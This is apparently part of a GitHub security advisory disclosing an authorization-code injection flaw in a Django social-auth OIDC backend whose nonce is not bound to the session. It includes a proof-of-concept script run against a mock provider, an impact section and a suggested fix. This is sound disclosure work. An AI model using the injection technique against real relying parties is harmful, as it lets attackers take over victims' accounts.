Advisory

GHSA-h2r5-x5m7-3935

Details, part 2 of 2. The advisory

Details

social_nonce.py:

import os, sys
sys.path.insert(0, os.path.dirname(__file__))
from mockidp import IdP
idp = IdP()
import django
from django.conf import settings
PKCE = os.environ.get("PKCE") == "1"
settings.configure(
    DEBUG=True, SECRET_KEY="x", ALLOWED_HOSTS=["*"], ROOT_URLCONF=__name__,
    INSTALLED_APPS=["django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "social_django"],
    MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware"],
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    AUTHENTICATION_BACKENDS=["social_core.backends.open_id_connect.OpenIdConnectAuth"],
    SOCIAL_AUTH_OIDC_OIDC_ENDPOINT=idp.issuer, SOCIAL_AUTH_OIDC_KEY=idp.client_id, SOCIAL_AUTH_OIDC_SECRET=idp.client_secret,
    SOCIAL_AUTH_OIDC_USE_PKCE=PKCE, SOCIAL_AUTH_LOGIN_REDIRECT_URL="/done/", SOCIAL_AUTH_RAISE_EXCEPTIONS=True,
)
django.setup()
from django.urls import include, path
from django.http import HttpResponse
urlpatterns = [path("", include("social_django.urls", namespace="social")),
               path("done/", lambda r: HttpResponse("user=%s" % r.user.username))]
from django.core.management import call_command
call_command("migrate", verbosity=0)
from django.test import Client

def begin(c):
    r = c.post("/login/oidc/"); assert r.status_code == 302, r.status_code
    return r["Location"]

def complete(c, code, state):
    try:
        r = c.get("/complete/oidc/", {"code": code, "state": state})
        if r.status_code == 302:
            r = c.get(r["Location"])
        return r.status_code, r.content.decode()
    except Exception as e:
        return "EXC", f"{type(e).__name__}: {e}"

victim, attacker = Client(), Client()
# Victim starts a login. The provider issues a code for "victim" tied to the victim's nonce.
v_url = begin(victim)
code_v, qv = idp.user_authorizes(v_url, "victim")
# Attacker starts a login in their own browser to get a valid state for their session.
a_url = begin(attacker)
_, qa = idp.user_authorizes(a_url, "attacker")
mode = os.environ.get("MODE", "inject")
if mode == "inject":
    print("[inject] attacker session completes with victim code:", complete(attacker, code_v, qa["state"]))
elif mode == "control_unknown_nonce":
    idp.claims_override = {"nonce": "never-issued-nonce"}
    print("[control] unknown nonce:", complete(attacker, code_v, qa["state"]))
elif mode == "control_victim":
    print("[control] victim completes normally:", complete(victim, code_v, qv["state"]))

Impact

An attacker who gets a victim's authorization code before it is used can log in to the relying party as the victim. Codes leak in practice through the callback URL: Referer headers, proxy or server logs, browser history and sync, a malicious browser extension, or an open redirect on the callback. This is the exact case the OIDC nonce is meant to cover. The attacker does not need the client secret, because the relying party itself redeems the code.

It affects every app that uses OpenIdConnectAuth or a backend built on it with the default settings (PKCE off).

Suggested fix

Bind the nonce to the session that started the login. For example, keep the nonce (or a hash of it) in the session next to state in auth_params, and in validate_claims compare the ID token nonce with the session value before removing it. Turning PKCE on by default for the OIDC backend would also close this, and matches the OAuth2 base class.

Sources & licences